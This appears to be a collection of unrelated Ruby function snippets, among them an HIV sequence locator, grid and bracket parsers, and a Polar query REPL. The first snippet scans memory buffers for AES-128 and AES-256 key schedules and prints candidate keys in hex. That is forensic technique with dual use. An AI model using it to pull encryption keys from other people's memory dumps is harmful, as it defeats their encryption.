"def scan(buffer, source_offset)\n\n blen = buffer.length\n entropic(buffer, AES_KEYBLOCK_MIN, ENTROPIC_MIN) do |i|\n\n # Exit if we dont have at least 240 bytes left\n return if (i + 240) > blen\n\n # Create a byte map to work in both little and big endian formats\n #[\"V\", \"N\"].each do |endian|\n\n [\"V\"].each do |endian|\n bmap = buffer[i, 240].unpack(\"#{endian}*\")\n\n # Check distance from 256-bit AES key\n xor_count_256 = 0\n 1.upto(7) do |row|\n 0.upto(7) do |column|\n break if (row == 7 and column == 4)\n case column\n when 0\n xor_count_256 += aes_popcount( aes_key_core( bmap[8*row-1], row) ^ bmap[8*(row-1)] ^ bmap[8*row] )\n when 4\n xor_count_256 += aes_popcount( aes_sbox_bytes( bmap[8*row+3]) ^ bmap[8*(row-1)+4] ^ bmap[8*row+4])\n else\n xor_count_256 += aes_popcount( bmap[8*row+column-1] ^ bmap[8*(row-1)+column] ^ bmap[8*row + column])\n end\n end\n end\n\n # We found a possible AES-256 key\n unless xor_count_256 > AES_XOR_LIMIT\n report_hit(:type => \"Key(AES-256)\", :data => bmap[0, 256/32].pack(\"#{endian}*\").unpack(\"C*\").map{|x| \"%.2x\" % x }.join, :offset => source_offset + i)\n next\n end\n\n # Check distance from 128-bit AES key\n xor_count_128 = 0\n 1.upto(10) do |row|\n 0.upto(3) do |column|\n before_count = xor_count_128\n case column\n when 0 \n xor_count_128 += aes_popcount( aes_key_core( bmap[4*row-1],row) ^ bmap[4*(row-1)] ^ bmap[4*row])\n else\n xor_count_128 += aes_popcount( (bmap[4*row + column-1] ^ bmap[4*(row-1)+column]) ^ bmap[4*row + column])\n end\n end\n end\n\n # We found a possible AES-128 key\n unless xor_count_128 > AES_XOR_LIMIT\n report_hit(:type => \"Key(AES-128)\", :data => bmap[0, 128/32].pack(\"#{endian}*\").unpack(\"C*\").map{|x| \"%.2x\" % x }.join, :offset => source_offset + i)\n end\n end\n end\n\n end",
"def my_hash_finding_method(source, thing_to_find)\n new_array = []\n source.map do |k, v|\n if v == thing_to_find\n new_array << k\n end\n end\n return new_array\nend",
"def parse_parameters(raw)\n ret = Array.new\n i = 0\n while raw.size > 0\n case raw[0]\n when 'Z', 'B', 'C', 'S', 'F', 'I', 'D', 'J'\n ret[i] = ['P']\n i += 1\n raw = raw[1..-1]\n when 'L'\n t = raw.index(';')\n ret[i] = ['L', raw[1..t-1]]\n i += 1\n raw = raw[t+1..-1]\n if raw.size == 0\n return ret\n end\n when '['\n if raw[1] == 'L'\n t = raw.index(';')\n ret[i] = ['L', raw[2..t-1]]\n i += 1\n raw = raw[t+1..-1]\n else\n ret[i] = ['P']\n i += 1\n raw = raw[2..-1]\n end\n end\n end\n return ret\nend",
"def position_coordinates(character)\n which_row = []\n which_cell = []\n (0...@n).each { |i| prepare_set(i, character, which_row, which_cell) }\n [which_row, which_cell]\n end",
"def coordinates(image)\n image.each_with_index.flat_map do |row,x|\n (0...row.length).find_all{|i| row[i] == @char }.map{|y| [x,y] }\n end\n end",
"def bwhere(arr)\nthose_b = []\n arr.each do |elem|\n if(elem.start_with?('B'))\n those_b.push(elem)\n end\n end\n those_b\nend",
"def annotate\n genes={}\n File.open(ANNOTATION,'r').each do |line|\n temp=line.split\n genes[temp[9]]={}\n genes[temp[9]][\"start\"]=temp[3].to_i\n genes[temp[9]][\"end\"]=temp[4].to_i\n genes[temp[9]][\"strand\"]=temp[6]\n genes[temp[9]][\"length\"]=temp[4].to_i - 1 - temp[3].to_i\n end\n return genes\nend",
"def line2offsets(line_number)\n offsetlines.select do |offset, lines| \n lines.member?(line_number) \n end.keys\n end",
"def match_maker(logic, *arrays)\n\t\tnew_arrays =[]\n\t\tarrays.each_slice(2){|a,b| new_arrays << [a,b]}\n\t\tputs new_arrays\n\t\tputs logic\n\tend",
"def get_flag_path_array problem, solution, comment, flag\n if solution.nil?\n path = [problem, comment, flag]\n elsif comment.nil?\n path = [problem, solution, flag]\n else\n path = [problem, solution, comment, flag]\n end\n path\n end",
"def compute_index \n self.rewind\n r = %r{\\<scan\\snum\\=\\\"(\\d+)\\\"|\\<spectrum\\sid\\=\\\"(\\d+)\\\"}\n index = {}\n while (!self.eof) \n pos = self.pos\n if (r.match(self.readline)) then \n m = $1 ? $1 : $2\n index[m.to_i] = pos\n end\n end\n index\n end",
"def bracket_positions(line)\n positions,pair,count = [],[],0\n\n line.split('').each_with_index do |char,i|\n pair << i if pair.empty?\n\n first_pair_char = line[pair[0]]\n if first_pair_char == '{' # object logic\n if char == '{'\n count += 1\n end\n\n if char == '}'\n count -= 1\n if count == 0\n pair << i\n positions << pair\n pair = []\n end\n end\n else # string logic\n lookahead = line[i+1]\n if lookahead == '{'\n pair << i\n positions << pair\n pair = []\n end\n end\n end # end of loop\n\n # for string logic when lookahead does not contain a object token\n # need to clear out what's left to match the final pair\n if !pair.empty?\n pair << line.size - 1\n positions << pair\n end\n\n positions\n end",
"def get_cell_at_xy(input_array)\n input_array.map do |coord|\n x = coord[0]\n y = coord[1]\n at_coord(x, y)\n end\n end",
"def scan_for_at(token); end",
"def gets_buffer(*a)\n @device.buffer\n end",
"def context_at_location(position)\n lines = text.split(\"\\n\")\n line = lines[position.line]\n return [] if line.nil? || line.strip.length.zero?\n\n LineContext.for(line, position.character)\n end",
"def sequence_locator(seq=\"\",temp_dir=File.dirname($0))\n hxb2_ref = \"TGGAAGGGCTAATTCACTCCCAACGAAGACAAGATATCCTTGATCTGTGGATCTACCACACACAAGGCTACTTCCCTGATTAGCAGAACTACACACCAGGGCCAGGGATCAGATATCCACTGACCTTTGGATGGTGCTACAAGCTAGTACCAGTTGAGCCAGAGAAGTTAGAAGAAGCCAACAAAGGAGAGAACACCAGCTTGTTACACCCTGTGAGCCTGCATGGAATGGATGACCCGGAGAGAGAAGTGTTAGAGTGGAGGTTTGACAGCCGCCTAGCATTTCATCACATGGCCCGAGAGCTGCATCCGGAGTACTTCAAGAACTGCTGACATCGAGCTTGCTACAAGGGACTTTCCGCTGGGGACTTTCCAGGGAGGCGTGGCCTGGGCGGGACTGGGGAGTGGCGAGCCCTCAGATCCTGCATATAAGCAGCTGCTTTTTGCCTGTACTGGGTCTCTCTGGTTAGACCAGATCTGAGCCTGGGAGCTCTCTGGCTAACTAGGGAACCCACTGCTTAAGCCTCAATAAAGCTTGCCTTGAGTGCTTCAAGTAGTGTGTGCCCGTCTGTTGTGTGACTCTGGTAACTAGAGATCCCTCAGACCCTTTTAGTCAGTGTGGAAAATCTCTAGCAGTGGCGCCCGAACAGGGACCTGAAAGCGAAAGGGAAACCAGAGGAGCTCTCTCGACGCAGGACTCGGCTTGCTGAAGCGCGCACGGCAAGAGGCGAGGGGCGGCGACTGGTGAGTACGCCAAAAATTTTGACTAGCGGAGGCTAGAAGGAGAGAGATGGGTGCGAGAGCGTCAGTATTAAGCGGGGGAGAATTAGATCGATGGGAAAAAATTCGGTTAAGGCCAGGGGGAAAGAAAAAATATAAATTAAAACATATAGTATGGGCAAGCAGGGAGCTAGAACGATTCGCAGTTAATCCTGGCCTGTTAGAAACATCAGAAGGCTGTAGACAAATACTGGGACAGCTACAACCATCCCTTCAGACAGGATCAGAAGAACTTAGATCATTATATAATACAGTAGCAACCCTCTATTGTGTGCATCAAAGGATAGAGATAAAAGACACCAAGGAAGCTTTAGACAAGATAGAGGAAGAGCAAAACAAAAGTAAGAAAAAAGCACAGCAAGCAGCAGCTGACACAGGACACAGCAATCAGGTCAGCCAAAATTACCCTATAGTGCAGAACATCCAGGGGCAAATGGTACATCAGGCCATATCACCTAGAACTTTAAATGCATGGGTAAAAGTAGTAGAAGAGAAGGCTTTCAGCCCAGAAGTGATACCCATGTTTTCAGCATTATCAGAAGGAGCCACCCCACAAGATTTAAACACCATGCTAAACACAGTGGGGGGACATCAAGCAGCCATGCAAATGTTAAAAGAGACCATCAATGAGGAAGCTGCAGAATGGGATAGAGTGCATCCAGTGCATGCAGGGCCTATTGCACCAGGCCAGATGAGAGAACCAAGGGGAAGTGACATAGCAGGAACTACTAGTACCCTTCAGGAACAAATAGGATGGATGACAAATAATCCACCTATCCCAGTAGGAGAAATTTATAAAAGATGGATAATCCTGGGATTAAATAAAATAGTAAGAATGTATAGCCCTACCAGCATTCTGGACATAAGACAAGGACCAAAGGAACCCTTTAGAGACTATGTAGACCGGTTCTATAAAACTCTAAGAGCCGAGCAAGCTTCACAGGAGGTAAAAAATTGGATGACAGAAACCTTGTTGGTCCAAAATGCGAACCCAGATTGTAAGACTATTTTAAAAGCATTGGGACCAGCGGCTACACTAGAAGAAATGATGACAGCATGTCAGGGAGTAGGAGGACCCGGCCATAAGGCAAGAGTTTTGGCTGAAGCAATGAGCCAAGTAACAAATTCAGCTACCATAATGATGCAGAGAGGCAATTTTAGGAACCAAAGAAAGATTGTTAAGTGTTTCAATTGTGGCAAAGAAGGGCACACAGCCAGAAATTGCAGGGCCCCTAGGAAAAAGGGCTGTTGGAAATGTGGAAAGGAAGGACACCAAATGAAAGATTGTACTGAGAGACAGGCTAATTTTTTAGGGAAGATCTGGCCTTCCTACAAGGGAAGGCCAGGGAATTTTCTTCAGAGCAGACCAGAGCCAACAGCCCCACCAGAAGAGAGCTTCAGGTCTGGGGTAGAGACAACAACTCCCCCTCAGAAGCAGGAGCCGATAGACAAGGAACTGTATCCTTTAACTTCCCTCAGGTCACTCTTTGGCAACGACCCCTCGTCACAATAAAGATAGGGGGGCAACTAAAGGAAGCTCTATTAGATACAGGAGCAGATGATACAGTATTAGAAGAAATGAGTTTGCCAGGAAGATGGAAACCAAAAATGATAGGGGGAATTGGAGGTTTTATCAAAGTAAGACAGTATGATCAGATACTCATAGAAATCTGTGGACATAAAGCTATAGGTACAGTATTAGTAGGACCTACACCTGTCAACATAATTGGAAGAAATCTGTTGACTCAGATTGGTTGCACTTTAAATTTTCCCATTAGCCCTATTGAGACTGTACCAGTAAAATTAAAGCCAGGAATGGATGGCCCAAAAGTTAAACAATGGCCATTGACAGAAGAAAAAATAAAAGCATTAGTAGAAATTTGTACAGAGATGGAAAAGGAAGGGAAAATTTCAAAAATTGGGCCTGAAAATCCATACAATACTCCAGTATTTGCCATAAAGAAAAAAGACAGTACTAAATGGAGAAAATTAGTAGATTTCAGAGAACTTAATAAGAGAACTCAAGACTTCTGGGAAGTTCAATTAGGAATACCACATCCCGCAGGGTTAAAAAAGAAAAAATCAGTAACAGTACTGGATGTGGGTGATGCATATTTTTCAGTTCCCTTAGATGAAGACTTCAGGAAGTATACTGCATTTACCATACCTAGTATAAACAATGAGACACCAGGGATTAGATATCAGTACAATGTGCTTCCACAGGGATGGAAAGGATCACCAGCAATATTCCAAAGTAGCATGACAAAAATCTTAGAGCCTTTTAGAAAACAAAATCCAGACATAGTTATCTATCAATACATGGATGATTTGTATGTAGGATCTGACTTAGAAATAGGGCAGCATAGAACAAAAATAGAGGAGCTGAGACAACATCTGTTGAGGTGGGGACTTACCACACCAGACAAAAAACATCAGAAAGAACCTCCATTCCTTTGGATGGGTTATGAACTCCATCCTGATAAATGGACAGTACAGCCTATAGTGCTGCCAGAAAAAGACAGCTGGACTGTCAATGACATACAGAAGTTAGTGGGGAAATTGAATTGGGCAAGTCAGATTTACCCAGGGATTAAAGTAAGGCAATTATGTAAACTCCTTAGAGGAACCAAAGCACTAACAGAAGTAATACCACTAACAGAAGAAGCAGAGCTAGAACTGGCAGAAAACAGAGAGATTCTAAAAGAACCAGTACATGGAGTGTATTATGACCCATCAAAAGACTTAATAGCAGAAATACAGAAGCAGGGGCAAGGCCAATGGACATATCAAATTTATCAAGAGCCATTTAAAAATCTGAAAACAGGAAAATATGCAAGAATGAGGGGTGCCCACACTAATGATGTAAAACAATTAACAGAGGCAGTGCAAAAAATAACCACAGAAAGCATAGTAATATGGGGAAAGACTCCTAAATTTAAACTGCCCATACAAAAGGAAACATGGGAAACATGGTGGACAGAGTATTGGCAAGCCACCTGGATTCCTGAGTGGGAGTTTGTTAATACCCCTCCCTTAGTGAAATTATGGTACCAGTTAGAGAAAGAACCCATAGTAGGAGCAGAAACCTTCTATGTAGATGGGGCAGCTAACAGGGAGACTAAATTAGGAAAAGCAGGATATGTTACTAATAGAGGAAGACAAAAAGTTGTCACCCTAACTGACACAACAAATCAGAAGACTGAGTTACAAGCAATTTATCTAGCTTTGCAGGATTCGGGATTAGAAGTAAACATAGTAACAGACTCACAATATGCATTAGGAATCATTCAAGCACAACCAGATCAAAGTGAATCAGAGTTAGTCAATCAAATAATAGAGCAGTTAATAAAAAAGGAAAAGGTCTATCTGGCATGGGTACCAGCACACAAAGGAATTGGAGGAAATGAACAAGTAGATAAATTAGTCAGTGCTGGAATCAGGAAAGTACTATTTTTAGATGGAATAGATAAGGCCCAAGATGAACATGAGAAATATCACAGTAATTGGAGAGCAATGGCTAGTGATTTTAACCTGCCACCTGTAGTAGCAAAAGAAATAGTAGCCAGCTGTGATAAATGTCAGCTAAAAGGAGAAGCCATGCATGGACAAGTAGACTGTAGTCCAGGAATATGGCAACTAGATTGTACACATTTAGAAGGAAAAGTTATCCTGGTAGCAGTTCATGTAGCCAGTGGATATATAGAAGCAGAAGTTATTCCAGCAGAAACAGGGCAGGAAACAGCATATTTTCTTTTAAAATTAGCAGGAAGATGGCCAGTAAAAACAATACATACTGACAATGGCAGCAATTTCACCGGTGCTACGGTTAGGGCCGCCTGTTGGTGGGCGGGAATCAAGCAGGAATTTGGAATTCCCTACAATCCCCAAAGTCAAGGAGTAGTAGAATCTATGAATAAAGAATTAAAGAAAATTATAGGACAGGTAAGAGATCAGGCTGAACATCTTAAGACAGCAGTACAAATGGCAGTATTCATCCACAATTTTAAAAGAAAAGGGGGGATTGGGGGGTACAGTGCAGGGGAAAGAATAGTAGACATAATAGCAACAGACATACAAACTAAAGAATTACAAAAACAAATTACAAAAATTCAAAATTTTCGGGTTTATTACAGGGACAGCAGAAATCCACTTTGGAAAGGACCAGCAAAGCTCCTCTGGAAAGGTGAAGGGGCAGTAGTAATACAAGATAATAGTGACATAAAAGTAGTGCCAAGAAGAAAAGCAAAGATCATTAGGGATTATGGAAAACAGATGGCAGGTGATGATTGTGTGGCAAGTAGACAGGATGAGGATTAGAACATGGAAAAGTTTAGTAAAACACCATATGTATGTTTCAGGGAAAGCTAGGGGATGGTTTTATAGACATCACTATGAAAGCCCTCATCCAAGAATAAGTTCAGAAGTACACATCCCACTAGGGGATGCTAGATTGGTAATAACAACATATTGGGGTCTGCATACAGGAGAAAGAGACTGGCATTTGGGTCAGGGAGTCTCCATAGAATGGAGGAAAAAGAGATATAGCACACAAGTAGACCCTGAACTAGCAGACCAACTAATTCATCTGTATTACTTTGACTGTTTTTCAGACTCTGCTATAAGAAAGGCCTTATTAGGACACATAGTTAGCCCTAGGTGTGAATATCAAGCAGGACATAACAAGGTAGGATCTCTACAATACTTGGCACTAGCAGCATTAATAACACCAAAAAAGATAAAGCCACCTTTGCCTAGTGTTACGAAACTGACAGAGGATAGATGGAACAAGCCCCAGAAGACCAAGGGCCACAGAGGGAGCCACACAATGAATGGACACTAGAGCTTTTAGAGGAGCTTAAGAATGAAGCTGTTAGACATTTTCCTAGGATTTGGCTCCATGGCTTAGGGCAACATATCTATGAAACTTATGGGGATACTTGGGCAGGAGTGGAAGCCATAATAAGAATTCTGCAACAACTGCTGTTTATCCATTTTCAGAATTGGGTGTCGACATAGCAGAATAGGCGTTACTCGACAGAGGAGAGCAAGAAATGGAGCCAGTAGATCCTAGACTAGAGCCCTGGAAGCATCCAGGAAGTCAGCCTAAAACTGCTTGTACCAATTGCTATTGTAAAAAGTGTTGCTTTCATTGCCAAGTTTGTTTCATAACAAAAGCCTTAGGCATCTCCTATGGCAGGAAGAAGCGGAGACAGCGACGAAGAGCTCATCAGAACAGTCAGACTCATCAAGCTTCTCTATCAAAGCAGTAAGTAGTACATGTAACGCAACCTATACCAATAGTAGCAATAGTAGCATTAGTAGTAGCAATAATAATAGCAATAGTTGTGTGGTCCATAGTAATCATAGAATATAGGAAAATATTAAGACAAAGAAAAATAGACAGGTTAATTGATAGACTAATAGAAAGAGCAGAAGACAGTGGCAATGAGAGTGAAGGAGAAATATCAGCACTTGTGGAGATGGGGGTGGAGATGGGGCACCATGCTCCTTGGGATGTTGATGATCTGTAGTGCTACAGAAAAATTGTGGGTCACAGTCTATTATGGGGTACCTGTGTGGAAGGAAGCAACCACCACTCTATTTTGTGCATCAGATGCTAAAGCATATGATACAGAGGTACATAATGTTTGGGCCACACATGCCTGTGTACCCACAGACCCCAACCCACAAGAAGTAGTATTGGTAAATGTGACAGAAAATTTTAACATGTGGAAAAATGACATGGTAGAACAGATGCATGAGGATATAATCAGTTTATGGGATCAAAGCCTAAAGCCATGTGTAAAATTAACCCCACTCTGTGTTAGTTTAAAGTGCACTGATTTGAAGAATGATACTAATACCAATAGTAGTAGCGGGAGAATGATAATGGAGAAAGGAGAGATAAAAAACTGCTCTTTCAATATCAGCACAAGCATAAGAGGTAAGGTGCAGAAAGAATATGCATTTTTTTATAAACTTGATATAATACCAATAGATAATGATACTACCAGCTATAAGTTGACAAGTTGTAACACCTCAGTCATTACACAGGCCTGTCCAAAGGTATCCTTTGAGCCAATTCCCATACATTATTGTGCCCCGGCTGGTTTTGCGATTCTAAAATGTAATAATAAGACGTTCAATGGAACAGGACCATGTACAAATGTCAGCACAGTACAATGTACACATGGAATTAGGCCAGTAGTATCAACTCAACTGCTGTTAAATGGCAGTCTAGCAGAAGAAGAGGTAGTAATTAGATCTGTCAATTTCACGGACAATGCTAAAACCATAATAGTACAGCTGAACACATCTGTAGAAATTAATTGTACAAGACCCAACAACAATACAAGAAAAAGAATCCGTATCCAGAGAGGACCAGGGAGAGCATTTGTTACAATAGGAAAAATAGGAAATATGAGACAAGCACATTGTAACATTAGTAGAGCAAAATGGAATAACACTTTAAAACAGATAGCTAGCAAATTAAGAGAACAATTTGGAAATAATAAAACAATAATCTTTAAGCAATCCTCAGGAGGGGACCCAGAAATTGTAACGCACAGTTTTAATTGTGGAGGGGAATTTTTCTACTGTAATTCAACACAACTGTTTAATAGTACTTGGTTTAATAGTACTTGGAGTACTGAAGGGTCAAATAACACTGAAGGAAGTGACACAATCACCCTCCCATGCAGAATAAAACAAATTATAAACATGTGGCAGAAAGTAGGAAAAGCAATGTATGCCCCTCCCATCAGTGGACAAATTAGATGTTCATCAAATATTACAGGGCTGCTATTAACAAGAGATGGTGGTAATAGCAACAATGAGTCCGAGATCTTCAGACCTGGAGGAGGAGATATGAGGGACAATTGGAGAAGTGAATTATATAAATATAAAGTAGTAAAAATTGAACCATTAGGAGTAGCACCCACCAAGGCAAAGAGAAGAGTGGTGCAGAGAGAAAAAAGAGCAGTGGGAATAGGAGCTTTGTTCCTTGGGTTCTTGGGAGCAGCAGGAAGCACTATGGGCGCAGCCTCAATGACGCTGACGGTACAGGCCAGACAATTATTGTCTGGTATAGTGCAGCAGCAGAACAATTTGCTGAGGGCTATTGAGGCGCAACAGCATCTGTTGCAACTCACAGTCTGGGGCATCAAGCAGCTCCAGGCAAGAATCCTGGCTGTGGAAAGATACCTAAAGGATCAACAGCTCCTGGGGATTTGGGGTTGCTCTGGAAAACTCATTTGCACCACTGCTGTGCCTTGGAATGCTAGTTGGAGTAATAAATCTCTGGAACAGATTTGGAATCACACGACCTGGATGGAGTGGGACAGAGAAATTAACAATTACACAAGCTTAATACACTCCTTAATTGAAGAATCGCAAAACCAGCAAGAAAAGAATGAACAAGAATTATTGGAATTAGATAAATGGGCAAGTTTGTGGAATTGGTTTAACATAACAAATTGGCTGTGGTATATAAAATTATTCATAATGATAGTAGGAGGCTTGGTAGGTTTAAGAATAGTTTTTGCTGTACTTTCTATAGTGAATAGAGTTAGGCAGGGATATTCACCATTATCGTTTCAGACCCACCTCCCAACCCCGAGGGGACCCGACAGGCCCGAAGGAATAGAAGAAGAAGGTGGAGAGAGAGACAGAGACAGATCCATTCGATTAGTGAACGGATCCTTGGCACTTATCTGGGACGATCTGCGGAGCCTGTGCCTCTTCAGCTACCACCGCTTGAGAGACTTACTCTTGATTGTAACGAGGATTGTGGAACTTCTGGGACGCAGGGGGTGGGAAGCCCTCAAATATTGGTGGAATCTCCTACAGTATTGGAGTCAGGAACTAAAGAATAGTGCTGTTAGCTTGCTCAATGCCACAGCCATAGCAGTAGCTGAGGGGACAGATAGGGTTATAGAAGTAGTACAAGGAGCTTGTAGAGCTATTCGCCACATACCTAGAAGAATAAGACAGGGCTTGGAAAGGATTTTGCTATAAGATGGGTGGCAAGTGGTCAAAAAGTAGTGTGATTGGATGGCCTACTGTAAGGGAAAGAATGAGACGAGCTGAGCCAGCAGCAGATAGGGTGGGAGCAGCATCTCGAGACCTGGAAAAACATGGAGCAATCACAAGTAGCAATACAGCAGCTACCAATGCTGCTTGTGCCTGGCTAGAAGCACAAGAGGAGGAGGAGGTGGGTTTTCCAGTCACACCTCAGGTACCTTTAAGACCAATGACTTACAAGGCAGCTGTAGATCTTAGCCACTTTTTAAAAGAAAAGGGGGGACTGGAAGGGCTAATTCACTCCCAAAGAAGACAAGATATCCTTGATCTGTGGATCTACCACACACAAGGCTACTTCCCTGATTAGCAGAACTACACACCAGGGCCAGGGGTCAGATATCCACTGACCTTTGGATGGTGCTACAAGCTAGTACCAGTTGAGCCAGATAAGATAGAAGAGGCCAATAAAGGAGAGAACACCAGCTTGTTACACCCTGTGAGCCTGCATGGGATGGATGACCCGGAGAGAGAAGTGTTAGAGTGGAGGTTTGACAGCCGCCTAGCATTTCATCACGTGGCCCGAGAGCTGCATCCGGAGTACTTCAAGAACTGCTGACATCGAGCTTGCTACAAGGGACTTTCCGCTGGGGACTTTCCAGGGAGGCGTGGCCTGGGCGGGACTGGGGAGTGGCGAGCCCTCAGATCCTGCATATAAGCAGCTGCTTTTTGCCTGTACTGGGTCTCTCTGGTTAGACCAGATCTGAGCCTGGGAGCTCTCTGGCTAACTAGGGAACCCACTGCTTAAGCCTCAATAAAGCTTGCCTTGAGTGCTTCAAGTAGTGTGTGCCCGTCTGTTGTGTGACTCTGGTAACTAGAGATCCCTCAGACCCTTTTAGTCAGTGTGGAAAATCTCTAGCA\"\n hxb2_l = hxb2_ref.size\n head = \"\"\n 8.times {head << (65 + rand(25)).chr}\n temp_file = temp_dir + \"/\" + head + \"_temp\"\n temp_aln = temp_dir + \"/\" + head + \"_temp_aln\"\n\n l1 = 0\n l2 = 0\n name = \">test\"\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts hxb2_ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n\n begin\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test2 = $2\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n ref_size = ref.size\n if ref_size > 1.3*(seq.size)\n l1 = l1 + gap_begin\n l2 = l2 + gap_end\n max_seq = aln_test2.scan(/[ACGT]+/).max_by(&:length)\n aln_test2 =~ /#{max_seq}/\n before_aln_seq = $`\n before_aln = $`.size\n post_aln_seq = $'\n post_aln = $'.size\n before_aln_seq_size = before_aln_seq.scan(/[ACGT]+/).join(\"\").size\n b1 = (1.3 * before_aln_seq_size).to_i\n post_aln_seq_size = post_aln_seq.scan(/[ACGT]+/).join(\"\").size\n b2 = (1.3 * post_aln_seq_size).to_i\n if (before_aln > seq.size) and (post_aln <= seq.size)\n ref = ref[(before_aln - b1)..(ref_size - post_aln - 1)]\n l1 = l1 + (before_aln - b1)\n elsif (post_aln > seq.size) and (before_aln <= seq.size)\n ref = ref[before_aln..(ref_size - post_aln - 1 + b2)]\n l2 = l2 + post_aln - b2\n elsif (post_aln > seq.size) and (before_aln > seq.size)\n ref = ref[(before_aln - b1)..(ref_size - post_aln - 1 + b2)]\n l1 = l1 + (before_aln - b1)\n l2 = l2 + (post_aln - b2)\n end\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test2 = $2\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n ref_size = ref.size\n end\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test = $2\n aln_test =~ /^(\\w+)(\\-*)\\w/\n s1 = $1.size\n g1 = $2.size\n aln_test =~ /\\w(\\-*)(\\w+)$/\n s2 = $2.size\n g2 = $1.size\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n\n l1 = l1 + gap_begin\n l2 = l2 + gap_end\n repeat = 0\n\n if g1 == g2 and (s1 + g1 + s2) == ref.size\n if s1 > s2 and g2 > 2*s2\n ref = ref[0..(-g2-1)]\n repeat = 1\n l2 = l2 + g2\n elsif s1 < s2 and g1 > 2*s1\n ref = ref[g1..-1]\n repeat = 1\n l1 = l1 + g1\n end\n else\n if g1 > 2*s1\n ref = ref[g1..-1]\n repeat = 1\n l1 = l1 + g1\n end\n if g2 > 2*s2\n ref = ref[0..(-g2 - 1)]\n repeat = 1\n l2 = l2 + g2\n end\n end\n\n while repeat == 1\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test = $2\n aln_test =~ /^(\\w+)(\\-*)\\w/\n s1 = $1.size\n g1 = $2.size\n aln_test =~ /\\w(\\-*)(\\w+)$/\n s2 = $2.size\n g2 = $1.size\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n l1 = l1 + gap_begin\n l2 = l2 + gap_end\n repeat = 0\n if g1 > 2*s1\n ref = ref[g1..-1]\n repeat = 1\n l1 = l1 + g1\n end\n if g2 > 2*s2\n ref = ref[0..(-g2 - 1)]\n repeat = 1\n l2 = l2 + g2\n end\n end\n ref = hxb2_ref[l1..(hxb2_l - l2 - 1)]\n\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n ref = aln_seq[\">ref\"]\n\n #refine alignment\n\n if ref =~ /^(\\-+)/\n l1 = l1 - $1.size\n elsif ref =~ /(\\-+)$/\n l2 = l2 + $1.size\n end\n\n if (hxb2_l - l2 - 1) >= l1\n ref = hxb2_ref[l1..(hxb2_l - l2 - 1)]\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n ref = aln_seq[\">ref\"]\n\n ref_size = ref.size\n sim_count = 0\n (0..(ref_size-1)).each do |n|\n ref_base = ref[n]\n test_base = aln_test[n]\n sim_count += 1 if ref_base == test_base\n end\n similarity = (sim_count/ref_size.to_f*100).round(1)\n print `rm -f #{temp_file}`\n print `rm -f #{temp_aln}`\n loc_p1 = l1 + 1\n loc_p2 = hxb2_l - l2\n if seq.size != (loc_p2 - loc_p1 + 1)\n indel = true\n elsif aln_test.include?(\"-\")\n indel = true\n else\n indel = false\n end\n return [loc_p1,loc_p2,similarity,indel,aln_test,ref]\n else\n return [0,0,0,0,0,0,0]\n end\n rescue\n print `rm -f #{temp_file}`\n print `rm -f #{temp_aln}`\n return [0,0,0,0,0,0,0]\n end\nend",
"def at(p0) end",
"def buffer; end",
"def buffer; end",
"def buffer; end",
"def process_line(buf) # rubocop:disable Metrics/MethodLength, Metrics/PerceivedComplexity, Metrics/AbcSize\n query = buf.chomp.chomp(';')\n begin\n ffi_query = ffi_polar.new_query_from_str(query)\n rescue ParseError => e\n print_error(e)\n return\n end\n\n begin\n results = Query.new(ffi_query, host: host).results.to_a\n rescue PolarRuntimeError => e\n print_error(e)\n return\n end\n\n if results.empty?\n puts false\n else\n results.each do |result|\n if result.empty?\n puts true\n else\n result.each do |variable, value|\n puts \"#{variable} = #{value.inspect}\"\n end\n end\n end\n end\n end",
"def get_location(str)\n return nil unless str =~ /^(.+):(\\d+)(:in `.+'|$)/\n filename, linenum = $1, $2.to_i\n arr = [filename, linenum]\n return nil unless File.exist?(filename)\n return arr if _match_to(filename, @include)\n return nil if _match_to(filename, @exclude)\n return nil if @writable_check && !File.writable?(filename)\n return arr\n end",
"def find_start_and_finish\n grid.each_with_index do |row, row_idx|\n row.each_with_index do |spot, col_idx|\n if spot == START_MARK\n @start = [row_idx, col_idx]\n elsif spot == END_MARK\n @finish = [row_idx, col_idx]\n end\n end\n end\n end",
"def binding_buffer(op)\n # @buffer_lookup[op.input(ANTIBODY).sample][BINDING_BUFFER]\n op.input(BINDING_BUFFER).item\n end",
"def match_result\n [match_x, match_y]\n end",
